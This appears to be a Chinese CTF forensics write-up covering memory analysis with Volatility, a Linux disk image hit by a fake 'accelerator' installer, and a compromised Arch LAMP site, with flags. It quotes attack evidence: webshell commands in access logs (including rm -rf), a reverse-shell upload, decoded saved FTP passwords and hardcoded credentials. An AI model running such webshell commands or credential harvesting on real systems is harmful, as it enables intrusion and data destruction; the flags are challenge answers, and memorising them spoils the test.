DataSectionObject 0x29457910 hint.txt Error dumping file

(base) ➜ forensics mv file.0x29457910.0xfa8009896460.DataSectionObject.hint.txt.dat hint.txt
(base) ➜ forensics cat hint.txt
*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…
所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%

(base) ➜ forensics vol -f memory.raw windows.filescan | grep -i "flag"
0x2b10e070 100.0\Users\C3ngH\Desktop\flag.zip

(base) ➜ forensics vol -f memory.raw windows.dumpfiles --physaddr 0x2b10e070
Volatility 3 Framework 2.26.2
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result

DataSectionObject 0x2b10e070 flag.zip file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat
(base) ➜ forensics ls
dumpfiles proc_dumps
file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat 你也喜欢win7吗.7z
memory.raw

(base) ➜ forensics file file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat
file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted
(base) ➜ forensics mv file.0x2b10e070.0xfa80091c7b40.DataSectionObject.flag.zip.dat flag.zip

(base) ➜ forensics unzip flag.zip
Archive: flag.zip
skipping: flag.txt unsupported compression method 99

(base) ➜ forensics unzip -v flag.zip
Archive: flag.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
29 Unk:099 47 -62% 10-02-2025 23:35 af10f254 flag.txt
-------- ------- --- -------
29 47 -62% 1 file

他喵的,现在一看到压缩包密码就害怕😨。

1
2
*画图*真好用啊,可以把一些我记不住的密码画出来,还不容易被其他人找到…
所以我每次都会新建一个和屏幕分辨率一样大小的画布然后把密码画下来嘻嘻~%

结合题目提到的2560*1600,先dump出来再说vol -f memory.raw windows.memmap --pid 2624 --dump,获得pid.2624.dmp,然后让ai写代码提取指定大小的图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
from PIL import Image
import struct

# --- 配置参数 ---
DUMP_FILE_PATH = "pid.2624.dmp"
OUTPUT_DIR = "extracted_images_fixed"
TARGET_WIDTH = 2560
TARGET_HEIGHT = 1600
BITS_PER_PIXEL = 32 # 假设为 32-bit (BGRA)
# 原始像素数据大小 (2560 * 1600 * 4 字节)
PIXEL_DATA_SIZE = TARGET_WIDTH * TARGET_HEIGHT * (BITS_PER_PIXEL // 8)
# 允许的尺寸误差范围 (用于原始数据块搜索)
SIZE_TOLERANCE_MB = 0.5

# --- 主提取函数 ---

def search_and_extract_raw(data):
"""搜索原始像素数据块,强制不透明并保存为 PNG 文件"""

print(f"[*] 正在搜索 {TARGET_WIDTH}x{TARGET_HEIGHT} 的原始像素数据 ({PIXEL_DATA_SIZE / 1024 / 1024:.2f} MB)...")

min_size = int(PIXEL_DATA_SIZE - SIZE_TOLERANCE_MB * 1024 * 1024)
export_count = 0

# 以四分之一数据大小作为步长,提高搜索精度
for offset in range(0, len(data), PIXEL_DATA_SIZE // 4):

raw_data = data[offset : offset + PIXEL_DATA_SIZE]

if len(raw_data) < min_size:
continue

try:
# 1. 将原始字节数据解释为图像 (BGRA)
# 使用 'RGBA' 模式
img = Image.frombytes('RGBA', (TARGET_WIDTH, TARGET_HEIGHT), raw_data, 'raw', 'BGRA', 0, 1)

# 2. 强制不透明处理 (关键步骤!)
# 分离 R, G, B, A 通道
r, g, b, a = img.split()
# 创建一个新的 Alpha 通道,全部设置为 255 (完全不透明)
new_a = Image.new('L', img.size, 255)
# 重新合并 R, G, B, 新的 A 通道
img = Image.merge('RGBA', (r, g, b, new_a))

# 3. 垂直翻转:修复 GDI 常见的 Bottom-up 存储问题(实测不需要)
# img = img.transpose(Image.FLIP_TOP_BOTTOM)

# 4. 保存为 PNG 文件
output_path = os.path.join(OUTPUT_DIR, f"mspaint_2624_0x{offset:x}_fixed.png")
img.save(output_path)

print(f"[SUCCESS] 成功导出图片 (偏移: 0x{offset:x}),已强制不透明: {output_path}")
export_count += 1

except Exception as e:
# print(f"[-] 偏移 0x{offset:x} 处数据转换失败: {e}")
continue

return export_count > 0

# --- 主逻辑 ---

if __name__ == "__main__":
if not os.path.exists(DUMP_FILE_PATH):
print(f"[ERROR] 找不到转储文件: {DUMP_FILE_PATH}")
exit(1)

if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)

print(f"[*] 正在读取内存转储文件: {DUMP_FILE_PATH}")
with open(DUMP_FILE_PATH, 'rb') as f:
memory_data = f.read()
print(f"[*] 文件读取完毕 ({len(memory_data) / 1024 / 1024:.2f} MB)")

found_raw = search_and_extract_raw(memory_data)

if not found_raw:
print("\n[INFO] 未能通过原始数据块匹配导出任何图片。")
else:
print("\n[DONE] 所有匹配的数据块均已导出。请检查 'extracted_images_fixed' 文件夹中的 PNG 文件。")

mspaint
解压得到flag.txt

1
flag{1z_volatility_F0r3ns1c5}

[Week3] 爱茂TV

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
Info: 题组: Forensics - 爱茂TV (已完成 2/10)
Info: [✔] 0. 机主使用的用户名
flag{hajimi}

Info: [.] 格式:形如 flag{114514} 的字符串,全部小写
Info: [-] 1. 机主用户信息中隐藏的 Flag(按原样提交获取到的内容)
/etc/passwd
flag{I_l0v3_M4od1e}

Info: [-] 2. 机主最近自行安装字体的家族名称
Info: [.] 格式:形如 flag{114514} 的字符串,全部小写
HarmonyOS_SansSC
flag{harmonyos_sanssc}
flag{harmonyos_sans}
flag{鸿蒙黑体}


Info: [✔] 3. 机主使用的 FTP 传输工具(全小写不含扩展名)
flag{filezilla}

Info: [-] 4. 机主使用这个工具登录了一个外网服务器,请找出其 IP 地址与密码
Info: [.] 格式:flag{IP地址$密码},形如 flag{114.514.19.19$810}


<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.68.1" platform="*nix">
<RecentServers>
<Server>
<Host>192.168.233.1</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>hajimi</User>
<Pass encoding="base64">MTE0NTE0</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>112.2.196.181</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>hajimi</User>
<Pass encoding="base64">MTE0X1M0ZjNQd2RfNTE0</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>192.168.233.128</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>hajimi</User>
<Pass encoding="base64">MTE0NTE0</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>127.0.0.1</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>hajimi</User>
<Pass encoding="base64">MTE0NTE0</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>


外网
flag{112.2.196.181$114_S4f3Pwd_514}

Info: [-] 5. 机主对外通信使用的邮箱地址
flag{praxoppogrebro-5874@yopmail.net}

cat ./home/hajimi/.mozilla/firefox/djexozqp.default-esr/extension-settings.json
# 在 profile 目录统计所有出现过的邮箱并按次数排序(便于优先判断)
grep -RIna --binary-files=without-match -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b" . 2>/dev/null \
| grep -o -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b" | sort | uniq -c | sort -nr | sed -n '1,50p'


Info: [-] 6. "加速器安装程序"的 MD5 值(全小写)
flag{7ce89dbb371ae598702e111cede3d75a}

Info: [-] 7. "加速器安装程序"释放的文件中,有一个是端口扫描程序经重命名而成,请找出其文件名与原程序名。
Info: [.] 格式:flag{文件名#原程序名}
flag{ls#fscan}

Info: [-] 8. "加速器安装程序"中的哪一行命令导致机主无法正常登录图形界面
Info: [.] 格式:flag{一行内的完整命令}
flag{systemctl disable lightdm >/dev/null 2>&1 || true}


Info: [-] 9. Shell 无法使用是由于什么文件被修改了?机主依然能使用哪些 Shell 登录(按字母序列出可执行文件名)?
Info: [.] 格式:flag{文件#shellA#shellB#...},使用#分隔
flag{/etc/bash.bashrc#dash#sh}


chao@kali:/Users/chao/tmp/ctf/forensics/[Week3] 爱茂TV/mnt$ sed -n '1,120p' ./etc/shells
# /etc/shells: valid login shells
/bin/sh
/usr/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/usr/bin/dash

chao@kali:/Users/chao/tmp/ctf/forensics/[Week3] 爱茂TV/mnt$ find home -type f -iname "sitemanager.xml" -o -iname "*filezilla*" 2>/dev/null
home/hajimi/.cache/filezilla
home/hajimi/文档/filezilla.log

[Week4] 安卓服务?安卓人?

arch
我炒,Arch!不过uuid变了还得手动改fstab
zen内核,有品!

先看小作文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
你好🍎人[root@arch chenfeng]# cat Documents/diary-chenfeng.md
# 澄峰建站日记

## 2025-10-08

有个工作上的同事看我在做祝福视频,说订单收入还是在用电子表格去记不是很好,建议我搞个“全栈”网页。说是不仅方便管理,还有助于宣传涨热度...我问他能不能帮我做,他却回道“真做不出苹果项目”。

切,不就是看我火了嫉妒不想帮我做呗——你们这群安卓素质、安卓语法、安卓态度的安卓人真是够了,我还巴不得呢。听说 AI 啥的做这东西很专业,只需要写几句话就能出一个项目,我倒来试试看。

## 2025-10-10

可惜我有点拖延症,不过这 Copilot 真是帮了大忙,不出几轮对话就把项目生成出来了。接下来是要配环境,按 AI 说的要搞一个 LAMP 栈,估计还要一段时间。

## 2025-10-12

尝试着按网上的文档配了网站,结果移动的时候提示权限不足。

我就纳闷了,一个只有本地用户才能访问的服务器目录设置这么复杂的权限干什么?这一定是安卓开发者的阴谋!我把它改成 777 了,看你还怎么报错。

## 2025-10-14

配置 Apache 服务,几度要飞升。

先是访问子目录报 404,AI 说要用 vhost,结果这样一下来全都访问不了;数据库也是,一行一行敲的创建表代码,到访问的时候怎么会出问题?!AI 也行不通吗?安卓 AI。同事见我搞两个多小时红温了,才笑嘻嘻地过来教我改权限...什么安卓态度,搞得我好像不会自己做一样。

真是越想越来气,这些软件的开发者用的配置文件五花八门,文档也生硬晦涩,怕我们苹果人看不懂,这样就好低声下气问他们??安卓服务!不,我的服务才不会是安卓服务。我们苹果人搭起来的服务必定是苹果服务。

## 2025-10-15

我不管了。今晚!这个属于我的苹果服务就要上线。不计一切代价,*安卓人除外*

不过现有的数据量还是不够多,我得生成一些,不然也太冷清了。

**更新:**那个房管怎么知道我这服务的?!坏事了,这留言删都删不掉...算是记住你了;;不过你虚报一千什么意思??!

**更新:**想来想去这个本月开销还是把前面一段时间的收支补上去好了,看着也显得我澄峰不是一般人,嘿嘿 我就是苹果人,不接受反驳。

## 2025-10-16

卧槽,我的赞助记录怎么全没了?订单记录也一团糟!傻了傻了,得赶快请个高人。

**更新:**想来想去还是睡不着,这么苹果的服务是怎么被攻击到的...也许我并不是100%的苹果人吧。

**更新:**质疑这个服务存在的意义了。删几个文件以儆效尤。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Info: 欢迎来到 ?CTF 2025 Android Platform!目前有 1 个题组。
Info: 初来乍到,输入 help 获取使用帮助。
NekoChecker [/] > show 0
Info: 题组: Forensics - 安卓服务?安卓人? (已完成 0/10)

Info: [-] 0. 攻击事件发生在外网(WAN)还是内网(LAN)?并指出被攻击机器在网络的IP
Info: [.] 格式:flag{答案1#1.1.1.1},第一个问题使用 `WAN` / `LAN` 回答
flag{LAN#192.168.119.139}✅

Info: [-] 1. 网页服务器连接使用的用户、密码与数据库名称
Info: [.] 格式:flag{用户名:密码@数据库名称}
flag{chenfeng:pingguochenfeng@chenfeng-db}✅

Info: [-] 2. Web服务于受攻击时段启动与关闭的时间
Info: [.] 格式:flag{hh:mm:ss-hh:mm:ss}
flag{20:00:08-22:31:11}✅

Info: [-] 3. 攻击者利用最多的 WebShell 文件名与连接密码
Info: [.] 格式:flag{filename.php&password}
flag{gift.php&chenfeng}✅

Info: [-] 4. 攻击者未能获得后端源码的原因是权限不对,
找出攻击者试图访问时使用的用户名与未能访问目录的权限
Info: [.] 格式:flag{username#%%%},%代表一位数字
flag{http#700}✅

Info: [-] 5. 对数据库做出破坏的攻击者IP与可能执行的SQL语句
Info: [.] 格式:flag{1.1.1.1#command object},SQL语句指令全小写且只有一行,无尾随分号
flag{192.168.119.1#drop table sponsorship}✅

Info: [-] 6. 扣除可能的欠款后,澄峰的收入与支出总和(一个有符号数)
-54552 欠2000(3000里虚报了1000)
flag{-56552}✅

Info: [-] 7. 数据库现存内容中的flag
flag{W3_w0uld_bec0me_fr1eNds_@ga1n}✅

Info: [-] 8. 除去赞助收入,澄峰的第一大收入来源与数额
Info: [.] 格式:flag{source#amount}
flag{直播间礼物#228220}✅


Info: [-] 9. 澄峰崩溃至极,使用了工具来深度删除文件,他使用了什么命令实现这一点
Info: [.] 格式:flag{命令}
flag{shred -uz .bash_history}✅

简单探索,这个.viminfo很好用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
你好🍎人[root@arch ~]# cat .viminfo
> /etc/httpd/conf/httpd.conf
* 1760529606 0
" 231 0
^ 231 1
. 231 0
+ 52 0
+ 231 0
你好🍎人[root@arch ~]# ls
你好🍎人[root@arch ~]# cat /etc/httpd/conf/httpd.conf

<IfModule ssl_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule>

IncludeOptional conf/conf.d/*.conf

Include conf/extra/php-fpm.conf

ProxyPreserveHost On
ProxyTimeout 60

# 将 /api 转发到 127.0.0.1:5174(你的 FastAPI)
ProxyPass /api/ http://127.0.0.1:5174/api/ retry=0
ProxyPassReverse /api/ http://127.0.0.1:5174/api/

# 可选:为静态资源添加缓存头
<FilesMatch "\\.(js|css|png|jpg|jpeg|gif|svg|ico)$">
Header set Cache-Control "public, max-age=31536000, immutable"
</FilesMatch>



# History of marks within files (newest to oldest):

> /etc/httpd/conf/httpd.conf
* 1760367950 0
" 288 20
^ 288 21

> /var/log/httpd/error_log
* 1760367793 0
" 917 0

> /var/log/httpd/access_log
* 1760367775 0
" 277 0

> ~/Desktop/cfvideo/apps/python-server/start.sh
* 1760359706 0
" 9 29
^ 8 2
. 8 1
+ 9 51
+ 8 1

> /srv/http/test.php
* 1760352730 0
" 2 0
^ 2 0
. 1 19
+ 1 19

> /etc/bash.bashrc
* 1760332289 0
" 12 47
^ 12 48

> /etc/bash.bash
* 1760331537 0
" 1 0

你好🍎人[root@arch chenfeng]# cat /home/chenfeng/Desktop/cfvideo/apps/python-server/start.sh
#!/bin/bash
# Python 后端服务启动脚本 (Unix/Linux/macOS)

# 切换到脚本所在目录
cd "$(dirname "$0")"

echo "启动 Python FastAPI 服务..."
# python3 run.py
uvicorn main:app --host 0.0.0.0 --port 5174 --reload


你好🍎人[chenfeng@arch ~]$ cat mount-shared.sh
#!/bin/bash

sudo /usr/bin/vmhgfs-fuse .host:/ /home/chenfeng/shares -o subtype=vmhgfs-fuse,allow_other


你好🍎人[chenfeng@arch ~]$ cat /etc/bash.bashrc
#
# /etc/bash.bashrc
#

# If not running interactively, don't do anything
[[ $- != *i* ]] && return

# Prevent doublesourcing
if [[ -z "${BASHRCSOURCED}" ]] ; then
BASHRCSOURCED="Y"
# the check is bash's default value
[[ "$PS1" = '\s-\v\$ ' ]] && PS1='你好🍎人[\u@\h \W]\$ '
case ${TERM} in
Eterm*|alacritty*|aterm*|foot*|gnome*|konsole*|kterm*|putty*|rxvt*|tmux*|xterm*)
PROMPT_COMMAND+=('printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"')
;;
screen*)
PROMPT_COMMAND+=('printf "\033_%s@%s:%s\033\\" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"')
;;
esac
fi

if [[ -r /usr/share/bash-completion/bash_completion ]]; then
. /usr/share/bash-completion/bash_completion
fi

看access_log大概可以看出来传了个一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
192.168.119.128 - - [15/Oct/2025:21:37:16 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -
192.168.119.128 - - [15/Oct/2025:21:37:16 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -
192.168.119.128 - - [15/Oct/2025:21:37:17 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -
192.168.119.128 - - [15/Oct/2025:21:38:40 +0800] "GET /uploads/gift.php?chenfeng=114 HTTP/1.1" 200 -
192.168.119.1 - - [15/Oct/2025:21:39:23 +0800] "POST / HTTP/1.1" 200 411
192.168.119.1 - - [15/Oct/2025:21:39:46 +0800] "POST / HTTP/1.1" 200 411
192.168.119.1 - - [15/Oct/2025:21:39:49 +0800] "POST / HTTP/1.1" 200 411
192.168.119.1 - - [15/Oct/2025:21:39:51 +0800] "POST / HTTP/1.1" 200 411
192.168.119.128 - - [15/Oct/2025:21:42:56 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 58
192.168.119.128 - - [15/Oct/2025:21:43:06 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26
192.168.119.128 - - [15/Oct/2025:21:43:10 +0800] "GET /uploads/gift.php?chenfeng=ls%20../.. HTTP/1.1" 200 9
192.168.119.128 - - [15/Oct/2025:21:43:16 +0800] "GET /uploads/gift.php?chenfeng=ls%20/ HTTP/1.1" 200 99
192.168.119.1 - - [15/Oct/2025:21:43:33 +0800] "POST / HTTP/1.1" 200 411
192.168.119.1 - - [15/Oct/2025:21:43:44 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:43:54 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:44:11 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:44:12 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:44:15 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:44:17 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:44:32 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:45:13 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:45:25 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:45:36 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:45:41 +0800] "POST /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:21:46:20 +0800] "GET / HTTP/1.1" 304 -
192.168.119.1 - - [15/Oct/2025:21:46:20 +0800] "GET /api/requests HTTP/1.1" 200 1817
192.168.119.1 - - [15/Oct/2025:21:47:29 +0800] "POST /api/requests HTTP/1.1" 200 11
192.168.119.1 - - [15/Oct/2025:21:47:29 +0800] "GET /api/requests HTTP/1.1" 200 1990
192.168.119.1 - - [15/Oct/2025:21:47:39 +0800] "POST /uploads/video.php HTTP/1.1" 200 -
192.168.119.1 - - [15/Oct/2025:21:47:44 +0800] "POST /uploads/video.php HTTP/1.1" 200 -
192.168.119.128 - - [15/Oct/2025:21:48:30 +0800] "GET /uploads/gift.php?chenfeng=ls%20/home HTTP/1.1" 200 9
192.168.119.128 - - [15/Oct/2025:21:48:33 +0800] "GET /uploads/gift.php?chenfeng=ls%20/home/chenfeng HTTP/1.1" 200 -
192.168.119.128 - - [15/Oct/2025:21:48:39 +0800] "GET /uploads/gift.php?chenfeng=ls%20/ HTTP/1.1" 200 99
192.168.119.128 - - [15/Oct/2025:21:48:57 +0800] "GET /uploads/gift.php?chenfeng=ls%20/srv HTTP/1.1" 200 9
192.168.119.128 - - [15/Oct/2025:21:49:00 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 68
192.168.119.128 - - [15/Oct/2025:21:50:08 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 68
192.168.119.128 - - [15/Oct/2025:21:52:07 +0800] "POST /api/requests HTTP/1.1" 200 11
192.168.119.128 - - [15/Oct/2025:21:52:07 +0800] "GET /api/requests HTTP/1.1" 200 2160
192.168.119.128 - - [15/Oct/2025:21:52:22 +0800] "GET /uploads/php-reverse-shell.php HTTP/1.1" 200 -
192.168.119.128 - - [15/Oct/2025:21:52:27 +0800] "GET /uploads/php-reverse-shell.php HTTP/1.1" 200 -
192.168.119.128 - - [15/Oct/2025:21:53:20 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26
192.168.119.128 - - [15/Oct/2025:21:53:33 +0800] "GET /uploads/gift.php?chenfeng=cat%20../index.html HTTP/1.1" 200 411
192.168.119.128 - - [15/Oct/2025:21:53:44 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26
192.168.119.128 - - [15/Oct/2025:21:54:06 +0800] "GET /uploads/gift.php?chenfeng=rm%20-rf%20../assets HTTP/1.1" 200 -
192.168.119.128 - - [15/Oct/2025:21:54:10 +0800] "GET /uploads/gift.php?chenfeng=ls%20.. HTTP/1.1" 200 26
192.168.119.128 - - [15/Oct/2025:21:54:21 +0800] "GET /uploads/gift.php?chenfeng=ls%20/var HTTP/1.1" 200 63
192.168.119.128 - - [15/Oct/2025:21:54:32 +0800] "GET /uploads/gift.php?chenfeng=whoami HTTP/1.1" 200 5
192.168.119.1 - - [15/Oct/2025:21:54:46 +0800] "POST /api/admin/query HTTP/1.1" 200 2160
192.168.119.1 - - [15/Oct/2025:21:55:02 +0800] "POST /api/admin/query HTTP/1.1" 500 147
192.168.119.1 - - [15/Oct/2025:21:55:39 +0800] "POST /api/admin/query HTTP/1.1" 200 50741
192.168.119.1 - - [15/Oct/2025:21:56:44 +0800] "POST /api/admin/query HTTP/1.1" 500 199
192.168.119.1 - - [15/Oct/2025:21:56:47 +0800] "POST /api/admin/query HTTP/1.1" 200 21395
192.168.119.1 - - [15/Oct/2025:21:57:24 +0800] "POST /api/admin/query HTTP/1.1" 500 318
192.168.119.1 - - [15/Oct/2025:21:57:53 +0800] "POST /api/admin/query HTTP/1.1" 500 87
192.168.119.1 - - [15/Oct/2025:21:58:10 +0800] "GET /api/sponsorship HTTP/1.1" 500 21
192.168.119.1 - - [15/Oct/2025:21:58:15 +0800] "GET /api/users HTTP/1.1" 500 21
192.168.119.1 - - [15/Oct/2025:21:58:16 +0800] "GET /api/requests HTTP/1.1" 200 2160
192.168.119.1 - - [15/Oct/2025:21:58:19 +0800] "GET /api/budget HTTP/1.1" 200 48866
192.168.119.1 - - [15/Oct/2025:21:58:30 +0800] "GET /admin/114 HTTP/1.1" 304 -
192.168.119.1 - - [15/Oct/2025:21:58:30 +0800] "GET /api/users HTTP/1.1" 500 21
192.168.119.1 - - [15/Oct/2025:21:58:31 +0800] "POST /api/admin/query HTTP/1.1" 200 2160
192.168.119.1 - - [15/Oct/2025:21:59:05 +0800] "GET /api/budget/info HTTP/1.1" 200 30
192.168.119.1 - - [15/Oct/2025:21:59:09 +0800] "POST /api/sponsorship HTTP/1.1" 500 21
192.168.119.128 - - [15/Oct/2025:22:17:26 +0800] "GET /uploads/gift.php?chenfeng=id HTTP/1.1" 200 42
192.168.119.1 - - [15/Oct/2025:22:28:30 +0800] "GET /uploads/.face HTTP/1.1" 200 411
192.168.119.1 - - [15/Oct/2025:22:28:37 +0800] "GET /uploads/gift.php HTTP/1.1" 500 -
192.168.119.1 - - [15/Oct/2025:22:28:43 +0800] "GET /uploads/gift.php?chenfeng=ls HTTP/1.1" 200 90
192.168.119.1 - - [15/Oct/2025:22:28:53 +0800] "GET /uploads/gift.php?chenfeng=cat%201799B235A5DBBB926E4C0A1860343BE5.jpg%20|%20base64 HTTP/1.1" 200 143877
192.168.119.1 - - [15/Oct/2025:22:29:55 +0800] "POST /api/requests HTTP/1.1" 200 11
192.168.119.1 - - [15/Oct/2025:22:29:55 +0800] "GET /api/requests HTTP/1.1" 200 2816

用得最多的就是这个了吧 /uploads/gift.php?chenfeng=

看源码找到下列内容,主要关注mysql,弱密码应该是攻击者的入口:

1
2
3
4
MYSQL_URL = "mysql+pymysql://chenfeng:pingguochenfeng@127.0.0.1:3306/chenfeng-db"

if username == "admin" and password == "123456":
return {"success": True}

虚拟机跑不起来,chroot进去直接启动sql

1
2
3
4
mkdir -p /run/mysqld
chown mysql:mysql /run/mysqld
chmod 755 /run/mysqld
/usr/bin/mysqld --skip-networking --user=mysql &

sql

这里我是直接dump出来,然后就可以在.sql文件里复制账单了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from collections import defaultdict

data = [
(1,'苹果赞助',1000,'2025-10-15 19:38:28.858'),
(2,'苹果赞助',514,'2025-10-15 19:39:06.000'),
(3,'苹果赞助',5900,'2025-10-15 19:39:24.924'),
(4,'视频订单',200,'2025-10-15 19:42:57.673'),
(5,'视频订单',1000,'2025-10-15 19:52:03.451'),
(6,'视频订单',200,'2025-10-15 20:04:58.023'),
(7,'视频订单',0,'2025-10-15 20:20:04.795'),
(8,'购买力测评',-100,'2025-10-07 11:45:14.000'),
(9,'工作室设备',-7500,'2025-10-01 15:31:39.000'),
(10,'未成年退款',-100,'2025-10-04 11:00:07.000'),
(11,'未成年退款',-50,'2025-10-04 14:22:33.000'),
(12,'给亲戚红包',-500,'2025-10-04 12:00:00.000'),
(13,'拼手气红包',250,'2025-10-01 00:00:04.000'),
(14,'代理',-99,'2025-10-01 15:30:21.000'),
(15,'未成年退款',-666,'2025-10-02 02:25:57.000'),
# 后续省略,复制过来就好了
]

# 初始化一个字典来存储每个类别的总额
category_totals = defaultdict(int)

# 遍历数据并按类别汇总金额
for _, category, amount, _ in data:
category_totals[category] += amount

# 打印结果,并按总额降序排列
for category, total in sorted(category_totals.items(), key=lambda item: item[1], reverse=True):
print(f"{category}: {total}")

# 计算总结余,即所有第三项金额的总和
total_balance = sum(item[2] for item in data)

print(f"总的结余是: {total_balance}")

输出结果:

1
2
3
4
5
6
7
8
9
10
直播间礼物: 228220
苹果赞助: 121492
视频订单: 1400
拼手气红包: 250
代理: -99 (哈哈哈哈哈户子果然买代理)
购买力测评: -100 (好好好)
给亲戚红包: -500
工作室设备: -7500
未成年退款: -397715 (蛙趣)
总的结余是: -54552 (有点可怜)

看启动关闭时间可以这样,关注Oct 15那段就可以了

1
2
3
4
5
6
7
8
9
你好🍎人[root@arch /]# grep -i "resuming normal operations\|shutting down\|SIGHUP" /var/log/httpd/error_log
[Wed Oct 15 20:00:08.916728 2025] [mpm_event:notice] [pid 9589:tid 9589] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations
[Wed Oct 15 22:31:11.834725 2025] [mpm_event:notice] [pid 9589:tid 9589] AH00491: caught SIGTERM, shutting down
[Thu Oct 16 00:59:04.270264 2025] [mpm_event:notice] [pid 489:tid 489] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations
[Thu Oct 16 01:10:45.300865 2025] [mpm_event:notice] [pid 489:tid 489] AH00491: caught SIGTERM, shutting down
[Fri Oct 17 00:31:33.409034 2025] [mpm_event:notice] [pid 488:tid 488] AH00489: Apache/2.4.65 (Unix) configured -- resuming normal operations
